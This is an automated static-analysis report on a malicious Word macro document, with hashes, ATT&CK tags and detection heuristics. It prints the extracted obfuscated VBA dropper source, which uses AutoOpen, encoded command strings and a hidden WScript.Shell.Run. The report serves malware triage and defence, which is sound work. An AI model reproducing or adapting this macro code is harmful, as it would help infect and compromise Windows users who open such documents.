Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ee7a2bec8f62c121…

MALICIOUS

Office (OLE)

133.0 KB Created: 2018-03-12 10:37:00 Authoring application: Microsoft Office Word First seen: 2018-04-30
MD5: 6fac1b88e9aff0cf4a4d9827b2fe986f SHA-1: b555d8dca707899fc2670e1dc95d656379bee640 SHA-256: ee7a2bec8f62c121921b57a4ded052d549950a7912015bc9416776bcab62f0d0
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting the macro attempts to execute commands or download additional payloads. The presence of a ClamAV detection for 'Doc.Dropper.Agent' further supports its malicious nature as a dropper.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6470980-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6470980-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    iavBEcLBv = OwDGcq * poGIT / CshiI - Round(5780858 * CSng(3403498 * CInt(kikC)) + BVGkw - Round(BsOW)) - 544 / MzSoS + WAOBtJ / Rnd(zDXdd) * (5589690 / CDbl(2604987) + (DDpKj / CByte(758026 / CDbl(2009157) - 1477945 / 3480946)))
CreateObject("WScript.Shell").Run nVDSILdwlLk + TaviZwjWtTYM + XHLkntdXOlIL + wdijvM, vbHide
swTFnSfuM = hrBh * fhwz / RiuS - Round(534972 * CSng(2490717 * CInt(JMiwMq)) + rrDBXR - Round(wQWh)) - 544 / HdsQvf + fuOBBC / Rnd(aViiB) * (3972915 / CDbl(202022) + (qYcf / CByte(5134770 / CDbl(6442944) - 1404765 / 3627454)))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    iavBEcLBv = OwDGcq * poGIT / CshiI - Round(5780858 * CSng(3403498 * CInt(kikC)) + BVGkw - Round(BsOW)) - 544 / MzSoS + WAOBtJ / Rnd(zDXdd) * (5589690 / CDbl(2604987) + (DDpKj / CByte(758026 / CDbl(2009157) - 1477945 / 3480946)))
CreateObject("WScript.Shell").Run nVDSILdwlLk + TaviZwjWtTYM + XHLkntdXOlIL + wdijvM, vbHide
swTFnSfuM = hrBh * fhwz / RiuS - Round(534972 * CSng(2490717 * CInt(JMiwMq)) + rrDBXR - Round(wQWh)) - 544 / HdsQvf + fuOBBC / Rnd(aViiB) * (3972915 / CDbl(202022) + (qYcf / CByte(5134770 / CDbl(6442944) - 1404765 / 3627454)))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "tjoBOjhrc"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31472 bytes
SHA-256: 98aa2b42745292116eeeeec67b16dab7da9518a5c3c40ec7afba60bd26677af8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
507 of 783 identifiers look randomly generated (e.g. 'GBOYh7Pn$xAwNAkDAhBgZAcDAlBwMAgDA3AQMAgD') — consistent with name-mangling obfuscation. Carved artifact contains 19 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "tjoBOjhrc"
Sub AutoOpen()
On Error Resume Next
zzXwOoiRY = WUhzIj * BaFlH / Cjwd - Round(181658 * CSng(3405299 * CInt(DKhAp)) + jtQipp - Round(kLvL)) - 544 / jUthHm + pjUPRK / Rnd(AFnMm) * (6204295 / CDbl(1577237) + (zalr / CByte(3168612 / CDbl(9174375) - 745138 / 6209888)))
rlkrUzYWC = JzOMdw * Ipwww / fdTU - Round(3658780 * CSng(9308259 * CInt(VvlA)) + ihTMD - Round(RJqWI)) - 544 / nzmUIG + jtcE / Rnd(BcFZ) * (7552654 / CDbl(5031984) + (NOjz / CByte(3303287 / CDbl(824730) - 9100971 / 7379676)))
RipRJVUhV = vNpj * jBcF / aasW - Round(3214042 * CSng(1565391 * CInt(jDwVPN)) + oEDLv - Round(jvkPrN)) - 544 / hzAzo + jLqmTA / Rnd(aldX) * (7735651 / CDbl(6037254) + (VrLf / CByte(8115029 / CDbl(6317670) - 2444953 / 6005238)))
fqciDiNlC = jRdI * RkKuSv / MbMME - Round(8114099 * CSng(7313966 * CInt(HHmEj)) + KpzSNz - Round(WHOWN)) - 544 / uufmuk + iARq / Rnd(WzhtZ) * (5950717 / CDbl(4747540) + (wHvNc / CByte(981350 / CDbl(9219844) - 8274440 / 7998899)))
Application.Run "AmHcZQXpdhAwN", LzbzwwhjiI
UwqqwrabV = UTVKXG * qztdij / lunzSJ - Round(7934235 * CSng(7714322 * CInt(ofTAn)) + HHRDn - Round(IdwY)) - 544 / pOwz + mOsF / Rnd(EaJL) * (490210 / CDbl(6236029) + (jiDFzQ / CByte(8355151 / CDbl(7208264) - 2326233 / 5941438)))
wtdRqbLUa = YctEIi * DjIrk / LwSUA - Round(8088186 * CSng(9713669 * CInt(MzHS)) + bkOzzr - Round(oYDkz)) - 544 / QsoEDn + WSUY / Rnd(Kibm) * (2283254 / CDbl(5586029) + (lKGnoh / CByte(2123448 / CDbl(9972963) - 1643470 / 6701114)))
mthVDZGQH = THcJQq * mNACMa / NnJEzX - Round(8572739 * CSng(7604340 * CInt(nfbq)) + HEVVEj - Round(iizXw)) - 544 / YmIjaS + IPPBRk / Rnd(jDoi) * (7927168 / CDbl(9897152) + (iIij / CByte(1654339 / CDbl(8787849) - 5943369 / 6584753)))
FMhBjUBuG = IHds * TETdma / Sizjtd - Round(5781184 * CSng(9936341 * CInt(ZEZKC)) + PBjfJ - Round(Zjsim)) - 544 / KcpQs + MtzC / Rnd(aXQH) * (7620409 / CDbl(6762300) + (Dimz / CByte(7830270 / CDbl(3490075) - 8802920 / 1463460)))
End Sub
Function LzbzwwhjiI()
On Error Resume Next
zPOVOLBsshi.iFjZOChLjqQsTVzCAVDpzEXo
RKOtOjSDR = fshu3bbnabn3("CU8jUw8rYKGFAIDAjBwNAUGAxAAOAUDA0AAZAQGAwAAMAkDAlBQOAADAlvY6oibS@CBiE6n@j(tu4", 21, 45)
zPOVOLBsshi.iFjZOChLjqQsTVzCAVDpzEXo
WoWkkiNzn.YwiRrwAVlDOOfPX
DQqXG = fshu3bbnabn3("Oi2Rz_ti(z3oHDG7p$IrtsErucES::]lAhsRAM.sECiVREsPoreTni.emITNur[ (ekOvnI.)eMan.]4[)(srebmeMtEg.]LahSram.SeCiVresPOrEtNI.EMiTnUr[(::]LAhsram.SEcIVRESpoRETNi.EMItNUr[ ( oJ!AdJv(vQ0RD(w4!V", 19, 148)
WoWkkiNzn.YwiRrwAVlDOOfPX
WTRjqBzff.tcJvhUcphIsaqrKDE
IwDCwEq = fshu3bbnabn3("6daowGr@_gZAEGAjBQMAcDAyAQOAUGAyAAOAMGAyAAOAgDAyAAMAIDAwAwYAIGAmBQNAIGA5AAZAkDAkBQOAMGA2AwMAQGA0AgMAgDAmBwYAADA2AgYAMDA1AgZAIGA2AQYAkDAxAQMAgDAyAgMAEDA3AgYAMGAlBQMAYGAyAQ!OSk", 5, 161)
WTRjqBzff.tcJvhUcphIsaqrKDE
aYaDTlZjOlI.rwjVTuEdZVJH
qjNSB = fshu3bbnabn3("_0kBgMAEDAzAAMAMDA2AQ)n0SSV8(UrQ)", 13, 19)
aYaDTlZjOlI.rwjVTuEdZVJH
RFMXiVvYUdk.QbVKbSfOFGJJGEmqcDM
RRaFGz = fshu3bbnabn3("0voa.bpAjDh80b4DK_DkHoLL6(i)@7", 22, 2)
RFMXiVvYUdk.QbVKbSfOFGJJGEmqcDM
iWpshGnCpFjR.oiwLUXHmFpAmhWvhIXzaQGHaKm
XDzWuaZU = fshu3bbnabn3("4YG$EK4MAcDAyAQMAgDAwAAOAcDAzAAZAYGAkBgZAIGAiBgZAQGAwAgMAUDAhBANAIGfUAf(lJYEUa", 12, 60)
iWpshGnCpFjR.oiwLUXHmFpAmhWvhIXzaQGHaKm
visaBuWlIR.JnWJidOoHvRiqWfNRKcWh
SJTnCku = fshu3bbnabn3("4Okpv$7<ibU$SvdMvmUUMAIGAwAwNAIDA2AgMAgDAyAgMAUGAjBwNA_Db", 4, 34)
visaBuWlIR.JnWJidOoHvRiqWfNRKcWh
HRLKHFUUnfn.VSavpztSpPGMPDnbaOjzn
XzCRkOGE = fshu3bbnabn3("bJ8GSDFkTdwwN!3u(mvdz)i60mQG8wAj!HvGvm.!K", 29, 2)
HRLKHFUUnfn.VSavpztSpPGMPDnbaOjzn
iqAnpwEfzzi.ozoYYwlNskHIpUZYrOpqqlpV
HBpbisQL = fshu3bbnabn3("joHOGaG0T6GA1AgMAUGAxAAZAYDAhBwYAUDAyAQNAEDA5AwMAEDA4AAOAcDAl$$(4", 5, 51)
iqAnpwEfzzi.ozoYYwlNskHIpUZYrOpqqlpV
QRbnIbIcGW.vUknapCYhKvVYNCSkH
WwSPCqTwvYw = fshu3bbnabn3("iO4KA3aj,012,261,16,042,601D!QS<vqoob o3mT@v6_HC$", 23, 19)
QRbnIbIcGW.vUknapCYhKvVYNCSkH
ilziujVSj.fUBoKNPSJcjBVtoGpjsdjU
SFOXKfKsp = fshu3bbnabn3("MQ08NAADA1AAZAQGAmBAOAQDAhBANAUGAiBwYAkDA2AQNAEGAhBgNAUGAyAwMAUGA3AQOAUDAxAgYAgDAyAAMAIGAwAQZAEGAjBwYAQGAlBQZAEGAyAQOAQDAyAQYAQGAxAQMAQDAlBwMAADAkBQOAQDAjBQOAQDA1AAMAMDA2AQMAYGAyAQvH(vH0Vv3ubvJVd0 o<pKUkuRUF", 28, 176)
ilziujVSj.fUBoKNPSJcjBVtoGpjsdjU
ssFVkIEK.MtVUhojfzbRU
wGorUWwq = fshu3bbnabn3("aCojOvYJooDYPDh87aSGAiBgMAUDA4AgMAIDAhBgMAYDAhBANAIDA5AwMAYGAjBQMAMGA3AQZAIGAyAwYAwHVSh.", 5, 65)
ssFVkIEK.MtVUhojfzbRU
NEtMnpiltML.GCrjOCtldBlwltAkfuHwIqdZjQw
GKzKm = fshu3bbnabn3("GBOYh7Pn$xAwNAkDAhBgZAcDAlBwMAgDA3AQMAgDAyAgNAYGAzAQNAQGAjBgMAUGAkBgYAcDA3AwYAEGAyAQNAgDAkBAOAYGA3AQNAEGA2AwMAYGAlBwNAYGAiBgYAgDA5AAOAcDA0AgYAMDAlBgZAUGAkF", 3, 144)
NEtMnpiltML.GCrjOCtldBlwltAkfuHwIqdZjQw
kOddVvBFYju.nRSVGCzmdijjpdcYHMiUnMCFZ
iCwwOsRWaBO = fshu3bbnabn3("HV2J7ifnlObpZAIDA1AgNAEGAyAgZAEGAzAAMAADA0_4bC", 6, 29)
kOddVvBFYju.nRSVGCzmdijjpdcYHMiUnMCFZ
zshjwlihLP.KClKNuRRWSXNbSlXJUwfQQ
GcJBd = fshu3bbnabn3("73GopWmU63AEDAxAAZAQGAzAQOAIDAwAgZAgDAjBAZAQGAkBAMAYGAwAgMAQGAkBAMAkDAlBQZAIDAiBwMAYGAkBAZAkDAmBgNAQDAlBgMAQGAmBwNAYGAhBQOAYDAkBQNAQGAjBQMAADAhBQOAEDA2AgYAcDAyAgMAMDAyAQMAEDA2Aw(0JU_DlCb3EarY6", 16, 167)
zshjwlihLP.KClKNuRRWSXNbSlXJUwfQQ
lmvzjSzFh.HwBLwRLJVwZWLnZubW
iDHPXBCdiEV = fshu3bbnabn3("YJV$TQ(a5v80Jwv$S_Glr@$Q375OBdDA0AAZC", 2, 6)
lmvzjSzFh.HwBLwRLJVwZWLnZubW
cLDNWTiMMzR.ECRoITEKbXPwbCjbwKdkOLaVHi
YwhYclkOlf = fshu3bbnabn3("DY< AQDA2AgZAEDAiBwMAgDAyAQZAYDA0AwYAkDAwAQNAUGA2AgYAIGAlBwYAADAwAQZAYDAwAgYAQDAzAgN0O0SJpqH_VwoV0pvi", 18, 80)
cLDNWTiMMzR.ECRoITEKbXPwbCjbwKdkOLaVHi
rVmzjakzw.BDDPqamsQNdaf
GQzRBu = fshu3bbnabn3("8!B5CqS6qQGA4AgMAMGAwAgNAIGAhBQYAEDA3AQMAcDAzAgMAcDAxAwYAcDAwAQMAUDAmBwYAADA1AwNAQGA0AAZAMGA1AQOAgDAlBgNAEGA5AQNAYGA1AQNAna$iYkdiVQlv0$5UGo@(rJ!Dk3", 27, 112)
rVmzjakzw.BDDPqamsQNdaf
iZwQWpWPNl.OitiBBREnnvMlKArqrZX
iNukuHPI = fshu3bbnabn3("i.km6w_wjaA<7P6jb$BfO!irbZAgDA0AAMAYGAkBQMAIDAlBgZAIGA1AQYAYDAzAAOAYGAjBQZAMGAyAgMAcDA3AwNAUGA4AwYAUDA1AwYAYGAkpwo!kGjbY", 10, 86)
iZwQWpWPNl.OitiBBREnnvMlKArqrZX
cQlrsotSVi.RjhTLiNclMjvEEMLGRXuMkz
HsTwCfB = fshu3bbnabn3("oGKpBFO8E8AAMAUGAxAQMAQDAjBgMAADAhBAMAMGAxAQMAQDAmBgYAEGA3AQMAEDA4AAZAgDA1AwMAADAiBQZAADAjBgMAQDAjBwYAADA2AQYAMDAxAQZAUGAyAgYAIGA1AwYAUDAwAQOAEDA1AVYV(dY", 7, 137)
cQlrsotSVi.RjhTLiNclMjvEEMLGRXuMkz
GDthpwziAfC.TTMSaHqORwbFuBZMq
qJmwAMR = fshu3bbnabn3("5UE6wH(GokvoAkBQYAMDA5AQOAQGA2AAO<oLGDpQiUJrk3wo7U3@B", 21, 21)
GDthpwziAfC.TTMSaHqORwbFuBZMq
lDznKjEsW.bhoZiiPwpoSGuGDmbum
vslNwiZi = fshu3bbnabn3("SJEBDQ4YD)BQlBAOAkDA4AQOAYGAlBANAEDAiBQYAIGAyAANAEDAxAgNAQDA0AAOAUDAjBwMAADAwAQMAIGAmBQNA3OFOhr.K_raO2wGFDvGYB", 22, 77)
lDznKjEsW.bhoZiiPwpoSGuGDmbum
VatJaIzhiZ.vVVlkOIBPToDLiHhZqnwiku
ZHhPJ = fshu3bbnabn3("Sjr(KLBgMAcDA4AgNAYDA3AgNAEGAlBwYAcDAjBwNAEDAkBgZAUGAzAQZAADA3AgMAUGA1AwNAIGA4AgNAgDAiBQMAIGAwAwMAIGAlBQMAcDAwAQOAYDAjBgYAY6KbbKJ$LD_$CY$rrO", 18, 117)
VatJaIzhiZ.vVVlkOIBPToDLiHhZqnwiku
kstCqnUWR.inRBraWjEYnIanMGWPjmh
LIcAzQA = fshu3bbnabn3("Cl8USt0NAQDA1AQNAgDAlBwNAQDAzAwYAgDA5AwNAMGA3AQOAEDA1AAZAQDAlBgMAMGAkBgNAYDA4AQNAYGA0AQOAIDA2AwNAIGA5AgNAQDA0AgNAADAyAAMAEwu Qn(r$4Dij", 13, 115)
kstCqnUWR.inRBraWjEYnIanMGWPjmh
VKXHlPzaSaP.MHAowZTMbNrzLOnkQ
jcMwi = fshu3bbnabn3("BdvO3Hj7rCJE8_jGAkBQNAYDAzAwMAIGAxAgZAcDAzAQMAQGA4AwNAEDAirBobDk3JBE6", 13, 42)
VKXHlPzaSaP.MHAowZTMbNrzLOnkQ
wCNXBzLHrt.VzSjRBZkoIpvvBf
jziUKs = fshu3bbnabn3("DrO0nJMD8_qpA0AQNAADAkBgMAcDAiBwNAIGAiBAZAADA0AQYAYDAiBQOAIGAwAAZAYGAhBQOAIGAjBQMAYGA0AQMAMGAmBQYAgDAzAgMAMGAhBQMAADAwAAOAIGAzAwNAcDAxAQNAADA4AQOAQGA2AwMAcDA2AwYAIDAmBQYAkDAyAQNAEGAU$$j($dlO$qUDBjw", 17, 169)
wCNXBzLHrt.VzSjRBZkoIpvvBf
cAkwTnziwi.rJbGjnZfRMKLUjrzBvRJaoGfV
LWVDaiSF = fshu3bbnabn3("YvBuANAMDAjBgNAgDAyAQYAkDAiBwMAcDmDUjArvB2U$kmj8j0)zQ.", 22, 29)
cAkwTnziwi.rJbGjnZfRMKLUjrzBvRJaoGfV
EtqCwOFH.zNfDzvvqHUKPu
mJHqOHtz = fshu3bbnabn3(" oo.aKjfDDrDAiBQMAEDAxAwNAQGAhBAZAADAwAgMAEGAjBAOAQDAlBgDRhYFq@A", 9, 45)
EtqCwOFH.zNfDzvvqHUKPu
ASMAwazk.zomqnucDNHMfi
HdDFSYHOlW = fshu3bbnabn3("6KAf74GmbU3H.iQiq_cDAmBQMAYGAiBQNAIGA4AQYAIGA0AAOAEGA5AgMAIGAxAQYAIGA3AAMAADA0AQOAEDA1AwNAMGA4AwMAIDA2AgYAQGA2AQZAEGAwAAZAkDAlBQMAADA1AwNAEGA4AAOAMDA5AwNAUGAlBQOAMGAyAgMAIGAzAQMAkDAyAwYAMDA1AQYAUDAxAwYAMDA5AgvGVV", 5, 190)
ASMAwazk.zomqnucDNHMfi
YiDaAUaLi.vlPkAQrIaWFkizCznEUDaCLuc
pcUrjhJwIDZ = fshu3bbnabn3("uSFY4$ODvi@YSwAANAADA4AQMAgDA5AgMAEDA3AwMAUGAiBgMAIDAyAAZAkDA0AQZAMGA2AwMAYGAxAQ$or$iQU", 8, 67)
YiDaAUaLi.vlPkAQrIaWFkizCznEUDaCLuc
dBRZcGBXQhX.GBvKhjaiimqq
iijMjWJCRT = fshu3bbnabn3("@BULWF47YGUid@KYwOaK$z@uTuKJjWCuMAYGA0AQMAYDAyAQMAEDA3AwYAMDAlBgZAEDAlBwNAADAiBQNAIGAjBQOAUDA5AgNAQGAwAgNAADAwAAOAIGA2AQMAYGAyAgYAADAhBAZAQDA1AQNAIGAhBAMAUDA2AgZz6(", 4, 129)
dBRZcGBXQhX.GBvKhjaiimqq
pEdsTRAWp.XwzWssZjSlLizbfaLRzjsL
uofHZGr = fshu3bbnabn3("B wYAcDA4AAOAQDA2AgMAEGAlBAZAYDA2AQOAUDAmBAMAYGA3AQNAgDA0AQMAYGA3AQYAUGAyAQZAUDAiBAZAEGA2AQNAMGA3AgZAEGAkBwNAYDA1AwMAcDAzAAOAQGA5AAZAcDAlBQNAEGAxAAOAUGAhBQNAIGAwAwYAgDAyAgZAUGAmBnAKYvvRoK$K$Q8rQF3imrwoJr", 26, 176)
pEdsTRAWp.XwzWssZjSlLizbfaLRzjsL
uDQzTkUZE.jfLpnKsskHJAtqlhvduk
UhDrXiwLTdU = fshu3bbnabn3("kQwwAADAwAAMAgDA2AgYAUDA3AQZAUDA1AQZAMGAkBwNAcDAwAQNAEDAjBgNAkDAzAQYAMDAzAQZAQDAlBQYAYDA3AgMAMDAlBgZAUGAwAQOAIGAmBQOAMDAjBQZAEDAwAwNAcDAkBgMAIDAwAgYAMGA1AAZAYDAjBgNAQDA3AQNAIDAjBgHdS3prQbJB5", 12, 175)
uDQzTkUZE.jfLpnKsskHJAtqlhvduk
EjzGbmiLVOWJ.wKcXaQVDlcPQCWzwNzMXclKAS
HfoUoJJj = fshu3bbnabn3("V4uv0dOloo8K8AUGA1AgNAYGAiBAMAYDA0AgYAUGA4AQOAADA5AgMAMGA5AgMAEGAiBQYAADA2AwMD4kHY3DUrLMDMa)ALDV", 20, 64)
EjzGbmiLVOWJ.wKcXaQVDlcPQCWzwNzMXclKAS
IjrFLJwjDYE.hNjLQEpoSiqLbYBbUnHDjhnhwBv
XSiIAU = fshu3bbnabn3("w7Uai7GOfR3hoSF3jhZAMGAwAQMAkDAiBwYAIDAlBgNAgDAyAAZAIDAhBwYAkDA5AAOAMDAjBwYAMDAyAAMAYGA4AwMAADAxA(fKH3wi0CH3@Y8)jlUJ0", 21, 79)
IjrFLJwjDYE.hNjLQEpoSiqLbYBbUnHDjhnhwBv
QzJuQWLCzTn.onHmwuVbjwwfivOCSmz
fJmwGisb = fshu3bbnabn3("u$D_u6olB.iBgZAUDAlBwYAgDAyAAZAMDAzAQYAMDAiBwYAgDAjBgw(P4 qwjEbu7UU", 15, 42)
QzJuQWLCzTn.onHmwuVbjwwfivOCSmz
aaiRiFmRh.KPkjWisFQFllG
hAKKDYshfj = fshu3bbnabn3("VUGYAUGAhBgMAYGAyAQYAEDAzAQYAIDAxAAMAM(7Y2SDjE(0QfB3B3QVH8jKQD7 $8", 29, 35)
aaiRiFmRh.KPkjWisFQFllG
XErXcobML.sWzOpcILczKGw
IVACUTN = fshu3bbnabn3("khA3V$GqV3q@$O$JbUwSAMGA0AQYAYGA4AQNAYDAmBgMAQDAzAQOAEDAiBQOAYDAmBANAEDAjBQNAQGAxAgZAQDA1AgZAkDA3AQZAUGAyAAMAkDA5AQMAQGAkBwNAADA5AAZAIGAzwm(UK", 6, 117)
XErXcobML.sWzOpcILczKGw
sQiTRYiP.EFcYnhCHlVZqQVfpk
uafLwqEf = fshu3bbnabn3("4b@rrav@SUE(KAr84plYAwYAUGAiBQZAEDAjBwYAYDAxAANAYDAwAgZAgDAHa4wdS$5f$U8$v0BG", 18, 39)
sQiTRYiP.EFcYnhCHlVZqQVfpk
ijWmwQGVEO.APjDRZABUwbzYXhXVNi
GqwTQ = fshu3bbnabn3("@woqmdBwYAUGAhBQOAEDAkBgMAQGAwAQNAUGAzAQOAkDAiBQYAEDA2AAZAMGAlBAZAQDA4AANAEGAwAwNAgDAyAAMAgDA0AQZAUGA0AAMAUGAwAQOAUGAkBwNAQGA0AvGnu3O", 7, 121)
ijWmwQGVEO.APjDRZABUwbzYXhXVNi
QjjNvbQKX.ziMuZYVOTqKfdiWXLtfdZQ
cjBBQ = fshu3bbnabn3("l7SCrOm@$5QMAMGAhBwNAIGA5AQYAkDA4AQOAIDAjBQYAcDA5AwMAUGA2AwNAkDAwr6ADV0G", 8, 55)
QjjNvbQKX.ziMuZYVOTqKfdiWXLtfdZQ
ChwrBXafk.kPSGjkvZGzdLjm
vpCjIw = fshu3bbnabn3("iUYww!Ki$BJvko04PMAkDA2AQYAADA3rD", 3, 14)
ChwrBXafk.kPSGjkvZGzdLjm
NJAGilEKOkf.APFXwMPLpdiGQn
uKKwZiikdch = fshu3bbnabn3("$KSVjfw4JUk,0,51,0,522,991,502,98,96,54,981,74,32,09,041,761,34,452,181,011,33,55 Ek-  GniRtsERucEs-OTTReVnoC| '==AAlBwMAQDAwAQMAkDAwAAMAYGA5AANAgr3DLA6d", 8, 135)
NJAGilEKOkf.APFXwMPLpdiGQn
wBzzKPakPH.vIoBhiiGQsPkiKDBwHIzKpwSvj
jEWIpYHG = fshu3bbnabn3("diaABtioGADA3AQMAYGAjBQOAMDAwAgYAIDA2AgZAcDAyAQZAADA3AgYAADAyAQMAYDAwAAOAMGAkBwYAcDA5AQMAAD$$BJHG H", 9, 82)
wBzzKPakPH.vIoBhiiGQsPkiKDBwHIzKpwSvj
UXQsVbXwY.QvwqKcQASPzkn
mOfwZrtudFE = fshu3bbnabn3("AYO($Q_od8uLDVRY6YYwk7KkBju$H0lBwMAkDA3AQMAIDAmBANAUGA3AQZAUDA2AwYAIGAyAAMAUDAzAQNAIDA3AAZAUGAwAQH$(", 4, 66)
UXQsVbXwY.QvwqKcQASPzkn
EolTizsPvj.vtUUvVPsTMSQBhA
nuPNKuY = fshu3bbnabn3("vQ3Kw6drjpxAwMAADAiBAZAQDAzAwNAUDAyAgYAkDAxAwNAMGAxAwNAYGA3AQZAIDA4AgZAUGAiBAMAUGA3AgYAUGAyAgMAYGAxAgYAQDAjBwMAADAmBgZAUDA2AgNAEDAiBQYAcDAmBBP!p0OBjQQnJELU", 16, 130)
EolTizsPvj.vtUUvVPsTMSQBhA
qBOlstzhwh.hPvYzMltXEPwBYfKBGzhINidY
AJcwRV = fshu3bbnabn3("EQiKkPa(0i7YATjw2qokDSVFM3vGG$YAYDAkBgNAEDAhBQOAADA1AgYAcDA0AgMAEGAhBwYAUGAlBAOAQDAmBAOAMD.V0LO0", 8, 59)
qBOlstzhwh.hPvYzMltXEPwBYfKBGzhINidY
ZrDFRVrwhz.fLsQDOqkWFninrrZblnRK
RbFBsoIv = fshu3bbnabn3("<j6$J$L5wmat_PBAZAQDA3AgMAMDAlBwJ.TQKOo<@!8S", 14, 16)
ZrDFRVrwhz.fLsQDOqkWFninrrZblnRK
AJcErijRYVIH.ErHJMiXcXrYwwwsCKoTCc
czUVzrRPb = fshu3bbnabn3("oBvpB8BVoiYrGAmBQOAMDA1AANAADA5AwYAUGA4AAOAUDAmBANAYGA4AQNAYDA3AQMAUGAiBgMAkDAmBwYAUGAwAQNAIGA2AgNAYDA5AQNAEGA4AAZAkDA2AwYAEDA0AQMAQDA4AQZAMDAzAQOAQGA2AQZjDlRd04D", 9, 142)
AJcErijRYVIH.ErHJMiXcXrYwwwsCKoTCc
XYCZUSwJ.wohJMCBWFjKGWvvDSrwoEdLmb
nUYAjrW = fshu3bbnabn3("4ovoOC3$HWAOHR4k8QNAIDAKClii0DOaDOHQ", 14, 6)
XYCZUSwJ.wohJMCBWFjKGWvvDSrwoEdLmb
JQajtAFKRKGd.iccOUcIsLYiPjPcvNYZSn
YJkjcBw = fshu3bbnabn3("oznk!LHYD4D(d0kwi7pwv!ZAkDA5AuGBq<E", 7, 7)
JQajtAFKRKGd.iccOUcIsLYiPjPcvNYZSn
jFkqiJGXMd.HKvRjuftJmPUkNHzMqaQjcVRzJ
wipai = fshu3bbnabn3("oa QqGUSuAvY)lQOB_8vr4k.w", 12, 1)
jFkqiJGXMd.HKvRjuftJmPUkNHzMqaQjcVRzJ
pUVruORwzTk.PfzZPbTBKNrKbGpwcMuMiwtMjPMjF
EYSkcRjZ = fshu3bbnabn3("DSCAhBQYAYGAyAgNAMGAjBQZAcDA2AgNAkDAwAANAkDA2AQZAIGAkBQM82r8F0j)", 9, 53)
pUVruORwzTk.PfzZPbTBKNrKbGpwcMuMiwtMjPMjF
iqjwswESRi.rzIzMwhDfSbzPsiKsEfhTRfIiCME
YXXPupVcU = fshu3bbnabn3("So3BUKYdDdBAMAEDAkBQYAUGAzAgMAUDAyAgZAEGAiBQMAYGA2AgYAEGAwAAOAEDAxAQMAEDAlBQYAMGA4AgZA8w8dG$8J0UQ@.jSCpMPbaQ", 23, 76)
iqjwswESRi.rzIzMwhDfSbzPsiKsEfhTRfIiCME
NqMzwWVJANUi.ADQVUYiKbVtpmIVKELGm
TkpJuOu = fshu3bbnabn3("@VigNAYDAiBQZAEDA5AgYAgDAwAQYAUGAmBANAMDAzAQYAYGAyAQOAgDA1AmK4m5ua", 8, 56)
NqMzwWVJANUi.ADQVUYiKbVtpmIVKELGm
DrEkrSROPZ.OozjHrEcapzDifELXpt
POzidK = fshu3bbnabn3("LUGAmBAOAkDA3AQYAQDAzAQOAIGAyAAZAMGA5AgYAADAlBAZAcDAzAgMAEDAiBwNAYGAhBQNAkDA5AANAcDAjBwMAMGA2AgNAADA2AgVnSB2DQ!BC", 11, 100)
DrEkrSROPZ.OozjHrEcapzDifELXpt
stjRPtWUQsP.NjioVuWmiUkcaMczWDSrWNdauh
tEWjE = fshu3bbnabn3("aPYqz8JhV33HAQGA1AwMAY_nDwvUm_vwn", 12, 10)
stjRPtWUQsP.NjioVuWmiUkcaMczWDSrWNdauh
BUiJSosNjGif.zpplCGsNSuaflPTFwCnYPzRndkcGi
wnoBktCZFX = fshu3bbnabn3("jYAwYPj.AEDAhBgNAQDA4AQYAADA4AgNAgDA4AwYAEGA3AANAUGAlBwMAIGAkBAMAgDA2AwMAUGA5AgZAIDAkBgMAcDAkBQOAgDAkBQZAgDAjBQYAIGAmBQNAUDAhBQNAEGA4AANAIGA1AQNAUGAwAgZAEDAkBgYAY$koHU", 6, 154)
BUiJSosNjGif.zpplCGsNSuaflPTFwCnYPzRndkcGi
duWCEIRUbB.vRVHrRsZOaRstoLOKaqQB
TjmiXA = fshu3bbnabn3(")AQvkSVWOnb0jM3MiTDA1AgZAgDAzAgMAIGAlBANAcDAwAQOAkDA5AgYAIDA0AAMAMDAhBQYAEGA3AQNAcDA3AwNAYDA4AQZAADA2AQYAYGAiBwYAEGA3AAZAYGA5AQOAMGAlBAOAgDA1AQZAQDA0AQYAYGAzAQMAgDA3AQMAADAyAQNAQDAlBgYAcDA3AANjtklD", 6, 174)
duWCEIRUbB.vRVHrRsZOaRstoLOKaqQB
HPcLszqLcNP.VOJujVAOCBAqkMaC
